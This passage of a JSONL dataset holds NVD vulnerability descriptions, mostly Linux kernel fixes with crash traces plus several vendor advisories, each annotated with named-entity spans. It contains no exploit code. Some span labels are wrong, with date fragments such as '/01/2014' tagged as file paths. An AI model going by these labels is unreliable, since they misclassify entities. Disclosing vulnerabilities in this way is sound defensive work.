exc_general_protection\n   ? asm_exc_general_protection\n   ? asm_exc_general_protectio\n\nIS_ENABLED(CONFIG_X86_SMAP) could be added to the warning condition, but\neven this would not be enough in case SMAP is disabled at boot time with\nthe \"nosmap\" parameter.\n\nTo be consistent with \"nosmap\" behaviour, clear X86_FEATURE_SMAP when\n!CONFIG_X86_SMAP.\n\nFound using entry-fuzz + satrandconfig.\n\n [ bp: Massage commit message. ]", "spans": {"HASH: e6202628ee053b4f310759978284bd8bb0ce6905": [[728, 768]], "FILEPATH: /01/2014": [[849, 857]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[786, 790]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47430"}}
{"text": "ad-ldap-connector's admin panel before version 5.0.13 does not provide csrf protection, which when exploited may result in remote code execution or confidential data loss. CSRF exploits may occur if the user visits a malicious page containing CSRF payload on the same machine that has access to the ad-ldap-connector admin console via a browser. You may be affected if you use the admin console included with ad-ldap-connector versions <=5.0.12. If you do not have ad-ldap-connector admin console enabled or do not visit any other public URL while on the machine it is installed on, you are not affected. The issue is fixed in version 5.0.13.", "spans": {"VULNERABILITY: remote code execution": [[123, 144]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15259"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxdp: produce a warning when calculated tailroom is negative\n\nMany ethernet drivers report xdp Rx queue frag size as being the same as\nDMA write size. However, the only user of this field, namely\nbpf_xdp_frags_increase_tail(), clearly expects a truesize.\n\nSuch difference leads to unspecific memory corruption issues under certain\ncircumstances, e.g. in ixgbevf maximum DMA write size is 3 KB, so when\nrunning xskxceiver's XDP_ADJUST_TAIL_GROW_MULTI_BUFF, 6K packet fully uses\nall DMA-writable space in 2 buffers. This would be fine, if only\nrxq->frag_size was properly set to 4K, but value of 3K results in a\nnegative tailroom, because there is a non-zero page offset.\n\nWe are supposed to return -EINVAL and be done with it in such case, but due\nto tailroom being stored as an unsigned int, it is reported to be somewhere\nnear UINT_MAX, resulting in a tail being grown, even if the requested\noffset is too much (it is around 2K in the abovementioned test). This later\nleads to all kinds of unspecific calltraces.\n\n[ 7340.337579] xskxceiver[1440]: segfault at 1da718 ip 00007f4161aeac9d sp 00007f41615a6a00 error 6\n[ 7340.338040] xskxceiver[1441]: segfault at 7f410000000b ip 00000000004042b5 sp 00007f415bffecf0 error 4\n[ 7340.338179]  in libc.so.6[61c9d,7f4161aaf000+160000]\n[ 7340.339230]  in xskxceiver[42b5,400000+69000]\n[ 7340.340300]  likely on CPU 6 (core 0, socket 6)\n[ 7340.340302] Code: ff ff 01 e9 f4 fe ff ff 0f 1f 44 00 00 4c 39 f0 74 73 31 c0 ba 01 00 00 00 f0 0f b1 17 0f 85 ba 00 00 00 49 8b 87 88 00 00 00 <4c> 89 70 08 eb cc 0f 1f 44 00 00 48 8d bd f0 fe ff ff 89 85 ec fe\n[ 7340.340888]  likely on CPU 3 (core 0, socket 3)\n[ 7340.345088] Code: 00 00 00 ba 00 00 00 00 be 00 00 00 00 89 c7 e8 31 ca ff ff 89 45 ec 8b 45 ec 85 c0 78 07 b8 00 00 00 00 eb 46 e8 0b c8 ff ff <8b> 00 83 f8 69 74 24 e8 ff c7 ff ff 8b 00 83 f8 0b 74 18 e8 f3 c7\n[ 7340.404334] Oops: general protection fault, probably for non-canonical address 0x6d255010bdffc: 0000 [#1] SMP NOPTI\n[ 7340.405972] CPU: 7 UID: 0 PID: 1439 Comm: xskxceiver Not tainted 6.19.0-rc1+ #21 PREEMPT(lazy)\n[ 7340.408006] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-5.fc42 04/01/2014\n[ 7340.409716] RIP: 0010:lookup_swap_cgroup_id+0x44/0x80\n[ 7340.410455] Code: 83 f8 1c 73 39 48 ba ff ff ff ff ff ff ff 03 48 8b 04 c5 20 55 fa bd 48 21 d1 48 89 ca 83 e1 01 48 d1 ea c1 e1 04 48 8d 04 90 <8b> 00 48 83 c4 10 d3 e8 c3 cc cc cc cc 31 c0 e9 98 b7 dd 00 48 89\n[ 7340.412787] RSP: 0018:ffffcc5c04f7f6d0 EFLAGS: 00010202\n[ 7340.413494] RAX: 0006d255010bdffc RBX: ffff891f477895a8 RCX: 0000000000000010\n[ 7340.414431] RDX: 0001c17e3fffffff RSI: 00fa070000000000 RDI: 000382fc7fffffff\n[ 7340.415354] RBP: 00fa070000000000 R08: ffffcc5c04f7f8f8 R09: ffffcc5c04f7f7d0\n[ 7340.416283] R10: ffff891f4c1a7000 R11: ffffcc5c04f7f9c8 R12: ffffcc5c04f7f7d0\n[ 7340.417218] R13: 03ffffffffffffff R14: 00fa06fffffffe00 R15: ffff891f47789500\n[ 7340.418229] FS:  0000000000000000(0000) GS:ffff891ffdfaa000(0000) knlGS:0000000000000000\n[ 7340.419489] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 7340.420286] CR2: 00007f415bfffd58 CR3: 0000000103f03002 CR4: 0000000000772ef0\n[ 7340.421237] PKRU: 55555554\n[ 7340.421623] Call Trace:\n[ 7340.421987]  <TASK>\n[ 7340.422309]  ? softleaf_from_pte+0x77/0xa0\n[ 7340.422855]  swap_pte_batch+0xa7/0x290\n[ 7340.423363]  zap_nonpresent_ptes.constprop.0.isra.0+0xd1/0x270\n[ 7340.424102]  zap_pte_range+0x281/0x580\n[ 7340.424607]  zap_pmd_range.isra.0+0xc9/0x240\n[ 7340.425177]  unmap_page_range+0x24d/0x420\n[ 7340.425714]  unmap_vmas+0xa1/0x180\n[ 7340.426185]  exit_mmap+0xe1/0x3b0\n[ 7340.426644]  __mmput+0x41/0x150\n[ 7340.427098]  exit_mm+0xb1/0x110\n[ 7340.427539]  do_exit+0x1b2/0x460\n[ 7340.427992]  do_group_exit+0x2d/0xc0\n[ 7340.428477]  get_signal+0x79d/0x7e0\n[ 7340.428957]  arch_do_signal_or_restart+0x34/0x100\n[ 7340.429571]  exit_to_user_mode_loop+0x8e/0x4c0\n[ 7340.430159]  do_syscall_64+0x188/\n---truncated---", "spans": {"FILEPATH: /01/2014": [[2231, 2239]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[2173, 2177]], "VULNERABILITY: memory corruption": [[360, 377]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23343"}}
{"text": "Open Forms allows users create and publish smart forms. Versions prior to 2.2.9, 2.3.7, 2.4.5, and 2.5.2 contain a non-exploitable multi-factor authentication weakness. Superusers who have their credentials (username + password) compromised could potentially have the second-factor authentication bypassed if an attacker somehow managed to authenticate to Open Forms. The maintainers of Open Forms do not believe it is or has been possible to perform this login. However, if this were possible, the victim's account may be abused to view (potentially sensitive) submission data or have been used to impersonate other staff accounts to view and/or modify data. Three mitigating factors to help prevent exploitation include: the usual login page (at `/admin/login/`) does not fully log in the user until the second factor was succesfully provided; the additional non-MFA protected login page at `/api/v2/api-authlogin/` was misconfigured and could not be used to log in; and there are no additional ways to log in. This also requires credentials of a superuser to be compromised to be exploitable. Versions 2.2.9, 2.3.7, 2.4.5, and 2.5.2 contain the following patches to address these weaknesses: Move and only enable the API auth endpoints (`/api/v2/api-auth/login/`) with `settings.DEBUG = True`. `settings.DEBUG = True` is insecure and should never be applied in production settings. Additionally, apply a custom permission check to the hijack flow to only allow second-factor-verified superusers to perform user hijacking.", "spans": {"FILEPATH: /admin/login": [[749, 761]], "FILEPATH: /api/v2/api-authlogin": [[894, 915]], "FILEPATH: /api/v2/api-auth/login": [[1241, 1263]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-24771"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ipv4: fix memory leak in netlbl_cipsov4_add_std\n\nReported by syzkaller:\nBUG: memory leak\nunreferenced object 0xffff888105df7000 (size 64):\ncomm \"syz-executor842\", pid 360, jiffies 4294824824 (age 22.546s)\nhex dump (first 32 bytes):\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nbacktrace:\n[<00000000e67ed558>] kmalloc include/linux/slab.h:590 [inline]\n[<00000000e67ed558>] kzalloc include/linux/slab.h:720 [inline]\n[<00000000e67ed558>] netlbl_cipsov4_add_std net/netlabel/netlabel_cipso_v4.c:145 [inline]\n[<00000000e67ed558>] netlbl_cipsov4_add+0x390/0x2340 net/netlabel/netlabel_cipso_v4.c:416\n[<0000000006040154>] genl_family_rcv_msg_doit.isra.0+0x20e/0x320 net/netlink/genetlink.c:739\n[<00000000204d7a1c>] genl_family_rcv_msg net/netlink/genetlink.c:783 [inline]\n[<00000000204d7a1c>] genl_rcv_msg+0x2bf/0x4f0 net/netlink/genetlink.c:800\n[<00000000c0d6a995>] netlink_rcv_skb+0x134/0x3d0 net/netlink/af_netlink.c:2504\n[<00000000d78b9d2c>] genl_rcv+0x24/0x40 net/netlink/genetlink.c:811\n[<000000009733081b>] netlink_unicast_kernel net/netlink/af_netlink.c:1314 [inline]\n[<000000009733081b>] netlink_unicast+0x4a0/0x6a0 net/netlink/af_netlink.c:1340\n[<00000000d5fd43b8>] netlink_sendmsg+0x789/0xc70 net/netlink/af_netlink.c:1929\n[<000000000a2d1e40>] sock_sendmsg_nosec net/socket.c:654 [inline]\n[<000000000a2d1e40>] sock_sendmsg+0x139/0x170 net/socket.c:674\n[<00000000321d1969>] ____sys_sendmsg+0x658/0x7d0 net/socket.c:2350\n[<00000000964e16bc>] ___sys_sendmsg+0xf8/0x170 net/socket.c:2404\n[<000000001615e288>] __sys_sendmsg+0xd3/0x190 net/socket.c:2433\n[<000000004ee8b6a5>] do_syscall_64+0x37/0x90 arch/x86/entry/common.c:47\n[<00000000171c7cee>] entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nThe memory of doi_def->map.std pointing is allocated in\nnetlbl_cipsov4_add_std, but no place has freed it. It should be\nfreed in cipso_v4_doi_free which frees the cipso DOI resource.", "spans": {"FILEPATH: /linux/slab.h": [[483, 496], [546, 559]], "FILEPATH: /netlabel/netlabel_cipso_v4.c": [[620, 649], [719, 748]], "FILEPATH: /netlink/genetlink.c": [[821, 841], [890, 910], [973, 993], [1120, 1140]], "FILEPATH: /netlink/af_netlink.c": [[1050, 1071], [1192, 1213], [1280, 1301], [1359, 1380]], "FILEPATH: /x86/entry/common.c": [[1760, 1779]], "FILEPATH: socket.c": [[1430, 1438], [1502, 1510], [1568, 1576], [1633, 1641], [1697, 1705]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[84, 95], [151, 162]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47250"}}
{"text": "A Use After Free vulnerability in the Routing Protocol Daemon (rdp) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause Denial of Service (DoS). When a BGP session flap happens, a Use After Free of a memory location that was assigned to another object can occur, which will lead to an rpd crash. This is a race condition that is outside of the attacker's control and cannot be deterministically exploited. Continued flapping of BGP sessions can create a sustained Denial of Service (DoS) condition. This issue affects Juniper Networks Junos OS: All versions prior to 18.4R2-S9, 18.4R3-S11; 19.1 versions prior to 19.1R3-S8; 19.2 version 19.2R1 and later versions; 19.3 versions prior to 19.3R3-S5; 19.4 versions prior to 19.4R2-S6, 19.4R3-S6; 20.1 version 20.1R1 and later versions; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S2; 20.4 versions prior to 20.4R3-S1; 21.1 versions prior to 21.1R3-S3; 21.2 versions prior to 21.2R2-S1, 21.2R3. Juniper Networks Junos OS Evolved All versions prior to 20.4R3-S4-EVO; 21.1-EVO versions prior to 21.1R3-S2-EVO; 21.2-EVO versions prior to 21.2R3-EVO; 21.3-EVO versions prior to 21.3R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[71, 78], [574, 581], [1017, 1024]], "VULNERABILITY: Denial of Service": [[176, 193], [520, 537]], "VULNERABILITY: Use After Free": [[2, 16], [236, 250]], "VULNERABILITY: race condition": [[362, 376]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22208"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwatch_queue: Free the page array when watch_queue is dismantled\n\nCommit 7ea1a0124b6d (\"watch_queue: Free the alloc bitmap when the\nwatch_queue is torn down\") took care of the bitmap, but not the page\narray.\n\n  BUG: memory leak\n  unreferenced object 0xffff88810d9bc140 (size 32):\n  comm \"syz-executor335\", pid 3603, jiffies 4294946994 (age 12.840s)\n  hex dump (first 32 bytes):\n    40 a7 40 04 00 ea ff ff 00 00 00 00 00 00 00 00  @.@.............\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n     kmalloc_array include/linux/slab.h:621 [inline]\n     kcalloc include/linux/slab.h:652 [inline]\n     watch_queue_set_size+0x12f/0x2e0 kernel/watch_queue.c:251\n     pipe_ioctl+0x82/0x140 fs/pipe.c:632\n     vfs_ioctl fs/ioctl.c:51 [inline]\n     __do_sys_ioctl fs/ioctl.c:874 [inline]\n     __se_sys_ioctl fs/ioctl.c:860 [inline]\n     __x64_sys_ioctl+0xfc/0x140 fs/ioctl.c:860\n     do_syscall_x64 arch/x86/entry/common.c:50 [inline]", "spans": {"FILEPATH: /linux/slab.h": [[625, 638], [672, 685]], "FILEPATH: /x86/entry/common.c": [[1000, 1019]], "FILEPATH: watch_queue.c": [[744, 757]], "FILEPATH: pipe.c": [[792, 798]], "FILEPATH: ioctl.c": [[821, 828], [864, 871], [908, 915], [964, 971]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[284, 295]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49148"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nibmvnic: Don't reference skb after sending to VIOS\n\nPreviously, after successfully flushing the xmit buffer to VIOS,\nthe tx_bytes stat was incremented by the length of the skb.\n\nIt is invalid to access the skb memory after sending the buffer to\nthe VIOS because, at any point after sending, the VIOS can trigger\nan interrupt to free this memory. A race between reading skb->len\nand freeing the skb is possible (especially during LPM) and will\nresult in use-after-free:\n ==================================================================\n BUG: KASAN: slab-use-after-free in ibmvnic_xmit+0x75c/0x1808 [ibmvnic]\n Read of size 4 at addr c00000024eb48a70 by task hxecom/14495\n <...>\n Call Trace:\n [c000000118f66cf0] [c0000000018cba6c] dump_stack_lvl+0x84/0xe8 (unreliable)\n [c000000118f66d20] [c0000000006f0080] print_report+0x1a8/0x7f0\n [c000000118f66df0] [c0000000006f08f0] kasan_report+0x128/0x1f8\n [c000000118f66f00] [c0000000006f2868] __asan_load4+0xac/0xe0\n [c000000118f66f20] [c0080000046eac84] ibmvnic_xmit+0x75c/0x1808 [ibmvnic]\n [c000000118f67340] [c0000000014be168] dev_hard_start_xmit+0x150/0x358\n <...>\n Freed by task 0:\n kasan_save_stack+0x34/0x68\n kasan_save_track+0x2c/0x50\n kasan_save_free_info+0x64/0x108\n __kasan_mempool_poison_object+0x148/0x2d4\n napi_skb_cache_put+0x5c/0x194\n net_tx_action+0x154/0x5b8\n handle_softirqs+0x20c/0x60c\n do_softirq_own_stack+0x6c/0x88\n <...>\n The buggy address belongs to the object at c00000024eb48a00 which\n  belongs to the cache skbuff_head_cache of size 224\n==================================================================", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[522, 536], [624, 638]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21855"}}
{"text": "There are multiple out of bounds (OOB) read vulnerabilities in the implementation of the Common Open Policy Service (COPS) protocol of some Huawei products. The specific decoding function may occur out-of-bounds read when processes an incoming data packet. Successful exploit of these vulnerabilities may disrupt service on the affected device. (Vulnerability ID: HWPSIRT-2018-12275,HWPSIRT-2018-12276,HWPSIRT-2018-12277,HWPSIRT-2018-12278,HWPSIRT-2018-12279,HWPSIRT-2018-12280 and HWPSIRT-2018-12289)\n\nThe seven vulnerabilities have been assigned seven Common Vulnerabilities and Exposures (CVE) IDs: CVE-2020-1818, CVE-2020-1819, CVE-2020-1820, CVE-2020-1821, CVE-2020-1822, CVE-2020-1823 and CVE-2020-1824.", "spans": {"CVE_ID: CVE-2020-1818": [[602, 615]], "CVE_ID: CVE-2020-1819": [[617, 630]], "CVE_ID: CVE-2020-1820": [[632, 645]], "CVE_ID: CVE-2020-1821": [[647, 660]], "CVE_ID: CVE-2020-1822": [[662, 675]], "CVE_ID: CVE-2020-1823": [[677, 690]], "CVE_ID: CVE-2020-1824": [[695, 708]], "ORGANIZATION: Huawei": [[140, 146]], "VULNERABILITY: out-of-bounds read": [[198, 216]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1819"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtw88: Fix alignment fault in rtw_core_enable_beacon()\n\nrtw_core_enable_beacon() reads 4 bytes from an address that is not a\nmultiple of 4. This results in a crash on some systems.\n\nDo 1 byte reads/writes instead.\n\nUnable to handle kernel paging request at virtual address ffff8000827e0522\nMem abort info:\n  ESR = 0x0000000096000021\n  EC = 0x25: DABT (current EL), IL = 32 bits\n  SET = 0, FnV = 0\n  EA = 0, S1PTW = 0\n  FSC = 0x21: alignment fault\nData abort info:\n  ISV = 0, ISS = 0x00000021, ISS2 = 0x00000000\n  CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n  GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\nswapper pgtable: 4k pages, 48-bit VAs, pgdp=0000000005492000\n[ffff8000827e0522] pgd=0000000000000000, p4d=10000001021d9403, pud=10000001021da403, pmd=100000011061c403, pte=00780000f3200f13\nInternal error: Oops: 0000000096000021 [#1]  SMP\nModules linked in: [...] rtw88_8822ce rtw88_8822c rtw88_pci rtw88_core [...]\nCPU: 0 UID: 0 PID: 73 Comm: kworker/u32:2 Tainted: G        W           6.17.9 #1-NixOS VOLUNTARY\nTainted: [W]=WARN\nHardware name: FriendlyElec NanoPC-T6 LTS (DT)\nWorkqueue: phy0 rtw_c2h_work [rtw88_core]\npstate: 60400009 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : rtw_pci_read32+0x18/0x40 [rtw88_pci]\nlr : rtw_core_enable_beacon+0xe0/0x148 [rtw88_core]\nsp : ffff800080cc3ca0\nx29: ffff800080cc3ca0 x28: ffff0001031fc240 x27: ffff000102100828\nx26: ffffd2cb7c9b4088 x25: ffff0001031fc2c0 x24: ffff000112fdef00\nx23: ffff000112fdef18 x22: ffff000111c29970 x21: 0000000000000001\nx20: 0000000000000001 x19: ffff000111c22040 x18: 0000000000000000\nx17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\nx14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000\nx11: 0000000000000000 x10: 0000000000000000 x9 : ffffd2cb6507c090\nx8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000\nx5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000\nx2 : 0000000000007f10 x1 : 0000000000000522 x0 : ffff8000827e0522\nCall trace:\n rtw_pci_read32+0x18/0x40 [rtw88_pci] (P)\n rtw_hw_scan_chan_switch+0x124/0x1a8 [rtw88_core]\n rtw_fw_c2h_cmd_handle+0x254/0x290 [rtw88_core]\n rtw_c2h_work+0x50/0x98 [rtw88_core]\n process_one_work+0x178/0x3f8\n worker_thread+0x208/0x418\n kthread+0x120/0x220\n ret_from_fork+0x10/0x20\nCode: d28fe202 8b020000 f9524400 8b214000 (b9400000)\n---[ end trace 0000000000000000 ]---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71229"}}
{"text": "Icinga is a monitoring system which checks the availability of network resources, notifies users of outages, and generates performance data for reporting. In versions 2.5.0 through 2.13.0, ElasticsearchWriter, GelfWriter, InfluxdbWriter and Influxdb2Writer do not verify the server's certificate despite a certificate authority being specified. Icinga 2 instances which connect to any of the mentioned time series databases (TSDBs) using TLS over a spoofable infrastructure should immediately upgrade to version 2.13.1, 2.12.6, or 2.11.11 to patch the issue. Such instances should also change the credentials (if any) used by the TSDB writer feature to authenticate against the TSDB. There are no workarounds aside from upgrading.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37698"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nllc: make llc_ui_sendmsg() more robust against bonding changes\n\nsyzbot was able to trick llc_ui_sendmsg(), allocating an skb with no\nheadroom, but subsequently trying to push 14 bytes of Ethernet header [1]\n\nLike some others, llc_ui_sendmsg() releases the socket lock before\ncalling sock_alloc_send_skb().\nThen it acquires it again, but does not redo all the sanity checks\nthat were performed.\n\nThis fix:\n\n- Uses LL_RESERVED_SPACE() to reserve space.\n- Check all conditions again after socket lock is held again.\n- Do not account Ethernet header for mtu limitation.\n\n[1]\n\nskbuff: skb_under_panic: text:ffff800088baa334 len:1514 put:14 head:ffff0000c9c37000 data:ffff0000c9c36ff2 tail:0x5dc end:0x6c0 dev:bond0\n\n kernel BUG at net/core/skbuff.c:193 !\nInternal error: Oops - BUG: 00000000f2000800 [#1] PREEMPT SMP\nModules linked in:\nCPU: 0 PID: 6875 Comm: syz-executor.0 Not tainted 6.7.0-rc8-syzkaller-00101-g0802e17d9aca-dirty #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 11/17/2023\npstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : skb_panic net/core/skbuff.c:189 [inline]\n pc : skb_under_panic+0x13c/0x140 net/core/skbuff.c:203\n lr : skb_panic net/core/skbuff.c:189 [inline]\n lr : skb_under_panic+0x13c/0x140 net/core/skbuff.c:203\nsp : ffff800096f97000\nx29: ffff800096f97010 x28: ffff80008cc8d668 x27: dfff800000000000\nx26: ffff0000cb970c90 x25: 00000000000005dc x24: ffff0000c9c36ff2\nx23: ffff0000c9c37000 x22: 00000000000005ea x21: 00000000000006c0\nx20: 000000000000000e x19: ffff800088baa334 x18: 1fffe000368261ce\nx17: ffff80008e4ed000 x16: ffff80008a8310f8 x15: 0000000000000001\nx14: 1ffff00012df2d58 x13: 0000000000000000 x12: 0000000000000000\nx11: 0000000000000001 x10: 0000000000ff0100 x9 : e28a51f1087e8400\nx8 : e28a51f1087e8400 x7 : ffff80008028f8d0 x6 : 0000000000000000\nx5 : 0000000000000001 x4 : 0000000000000001 x3 : ffff800082b78714\nx2 : 0000000000000001 x1 : 0000000100000000 x0 : 0000000000000089\nCall trace:\n  skb_panic net/core/skbuff.c:189 [inline]\n  skb_under_panic+0x13c/0x140 net/core/skbuff.c:203\n  skb_push+0xf0/0x108 net/core/skbuff.c:2451\n  eth_header+0x44/0x1f8 net/ethernet/eth.c:83\n  dev_hard_header include/linux/netdevice.h:3188 [inline]\n  llc_mac_hdr_init+0x110/0x17c net/llc/llc_output.c:33\n  llc_sap_action_send_xid_c+0x170/0x344 net/llc/llc_s_ac.c:85\n  llc_exec_sap_trans_actions net/llc/llc_sap.c:153 [inline]\n  llc_sap_next_state net/llc/llc_sap.c:182 [inline]\n  llc_sap_state_process+0x1ec/0x774 net/llc/llc_sap.c:209\n  llc_build_and_send_xid_pkt+0x12c/0x1c0 net/llc/llc_sap.c:270\n  llc_ui_sendmsg+0x7bc/0xb1c net/llc/af_llc.c:997\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg net/socket.c:745 [inline]\n  sock_sendmsg+0x194/0x274 net/socket.c:767\n  splice_to_socket+0x7cc/0xd58 fs/splice.c:881\n  do_splice_from fs/splice.c:933 [inline]\n  direct_splice_actor+0xe4/0x1c0 fs/splice.c:1142\n  splice_direct_to_actor+0x2a0/0x7e4 fs/splice.c:1088\n  do_splice_direct+0x20c/0x348 fs/splice.c:1194\n  do_sendfile+0x4bc/0xc70 fs/read_write.c:1254\n  __do_sys_sendfile64 fs/read_write.c:1322 [inline]\n  __se_sys_sendfile64 fs/read_write.c:1308 [inline]\n  __arm64_sys_sendfile64+0x160/0x3b4 fs/read_write.c:1308\n  __invoke_syscall arch/arm64/kernel/syscall.c:37 [inline]\n  invoke_syscall+0x98/0x2b8 arch/arm64/kernel/syscall.c:51\n  el0_svc_common+0x130/0x23c arch/arm64/kernel/syscall.c:136\n  do_el0_svc+0x48/0x58 arch/arm64/kernel/syscall.c:155\n  el0_svc+0x54/0x158 arch/arm64/kernel/entry-common.c:678\n  el0t_64_sync_handler+0x84/0xfc arch/arm64/kernel/entry-common.c:696\n  el0t_64_sync+0x190/0x194 arch/arm64/kernel/entry.S:595\nCode: aa1803e6 aa1903e7 a90023f5 94792f6a (d4210000)", "spans": {"FILEPATH: /core/skbuff.c": [[798, 812], [1172, 1186], [1237, 1251], [1275, 1289], [1340, 1354], [2068, 2082], [2129, 2143], [2173, 2187]], "FILEPATH: /17/2023": [[1080, 1088]], "FILEPATH: /ethernet/eth.c": [[2220, 2235]], "FILEPATH: /linux/netdevice.h": [[2264, 2282]], "FILEPATH: /llc/llc_output.c": [[2331, 2348]], "FILEPATH: /llc/llc_s_ac.c": [[2395, 2410]], "FILEPATH: /llc/llc_sap.c": [[2446, 2460], [2498, 2512], [2565, 2579], [2628, 2642]], "FILEPATH: /llc/af_llc.c": [[2679, 2692]], "FILEPATH: /arm64/kernel/syscall.c": [[3304, 3327], [3372, 3395], [3432, 3455], [3487, 3510]], "FILEPATH: /arm64/kernel/entry-common.c": [[3540, 3568], [3610, 3638]], "FILEPATH: /arm64/kernel/entry.S": [[3674, 3695]], "FILEPATH: socket.c": [[2722, 2730], [2765, 2773], [2818, 2826]], "FILEPATH: splice.c": [[2865, 2873], [2898, 2906], [2956, 2964], [3010, 3018], [3058, 3066]], "FILEPATH: read_write.c": [[3101, 3113], [3144, 3156], [3196, 3208], [3263, 3275]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1014, 1020], [1021, 1027], [1043, 1049], [1071, 1077]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26636"}}
{"text": "WWBN AVideo is an open source video platform. In versions 25.0 and below, the official Docker deployment files (docker-compose.yml, env.example) ship with the admin password set to \"password\", which is automatically used to seed the admin account during installation, meaning any instance deployed without overriding SYSTEM_ADMIN_PASSWORD is immediately vulnerable to trivial administrative takeover. No compensating controls exist: there is no forced password change on first login, no complexity validation, no default-password detection, and the password is hashed with weak MD5. Full admin access enables user data exposure, content manipulation, and potential remote code execution via file uploads and plugin management. The same insecure-default pattern extends to database credentials (avideo/avideo), compounding the risk. Exploitation depends on operators failing to change the default, a condition likely met in quick-start, demo, and automated deployments. This issue has been fixed in version 26.0.", "spans": {"FILEPATH: compose.yml": [[119, 130]], "ORGANIZATION: Docker": [[87, 93]], "VULNERABILITY: remote code execution": [[665, 686]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33037"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: BPF: Prevent out-of-bounds memory access\n\nThe test_tag test triggers an unhandled page fault:\n\n  # ./test_tag\n  [  130.640218] CPU 0 Unable to handle kernel paging request at virtual address ffff80001b898004, era == 9000000003137f7c, ra == 9000000003139e70\n  [  130.640501] Oops[#3]:\n  [  130.640553] CPU: 0 PID: 1326 Comm: test_tag Tainted: G      D    O       6.7.0-rc4-loong-devel-gb62ab1a397cf #47 61985c1d94084daa2432f771daa45b56b10d8d2a\n  [  130.640764] Hardware name: QEMU QEMU Virtual Machine, BIOS unknown 2/2/2022\n  [  130.640874] pc 9000000003137f7c ra 9000000003139e70 tp 9000000104cb4000 sp 9000000104cb7a40\n  [  130.641001] a0 ffff80001b894000 a1 ffff80001b897ff8 a2 000000006ba210be a3 0000000000000000\n  [  130.641128] a4 000000006ba210be a5 00000000000000f1 a6 00000000000000b3 a7 0000000000000000\n  [  130.641256] t0 0000000000000000 t1 00000000000007f6 t2 0000000000000000 t3 9000000004091b70\n  [  130.641387] t4 000000006ba210be t5 0000000000000004 t6 fffffffffffffff0 t7 90000000040913e0\n  [  130.641512] t8 0000000000000005 u0 0000000000000dc0 s9 0000000000000009 s0 9000000104cb7ae0\n  [  130.641641] s1 00000000000007f6 s2 0000000000000009 s3 0000000000000095 s4 0000000000000000\n  [  130.641771] s5 ffff80001b894000 s6 ffff80001b897fb0 s7 9000000004090c50 s8 0000000000000000\n  [  130.641900]    ra: 9000000003139e70 build_body+0x1fcc/0x4988\n  [  130.642007]   ERA: 9000000003137f7c build_body+0xd8/0x4988\n  [  130.642112]  CRMD: 000000b0 (PLV0 -IE -DA +PG DACF=CC DACM=CC -WE)\n  [  130.642261]  PRMD: 00000004 (PPLV0 +PIE -PWE)\n  [  130.642353]  EUEN: 00000003 (+FPE +SXE -ASXE -BTE)\n  [  130.642458]  ECFG: 00071c1c (LIE=2-4,10-12 VS=7)\n  [  130.642554] ESTAT: 00010000 [PIL] (IS= ECode=1 EsubCode=0)\n  [  130.642658]  BADV: ffff80001b898004\n  [  130.642719]  PRID: 0014c010 (Loongson-64bit, Loongson-3A5000)\n  [  130.642815] Modules linked in: [last unloaded: bpf_testmod(O)]\n  [  130.642924] Process test_tag (pid: 1326, threadinfo=00000000f7f4015f, task=000000006499f9fd)\n  [  130.643062] Stack : 0000000000000000 9000000003380724 0000000000000000 0000000104cb7be8\n  [  130.643213]         0000000000000000 25af8d9b6e600558 9000000106250ea0 9000000104cb7ae0\n  [  130.643378]         0000000000000000 0000000000000000 9000000104cb7be8 90000000049f6000\n  [  130.643538]         0000000000000090 9000000106250ea0 ffff80001b894000 ffff80001b894000\n  [  130.643685]         00007ffffb917790 900000000313ca94 0000000000000000 0000000000000000\n  [  130.643831]         ffff80001b894000 0000000000000ff7 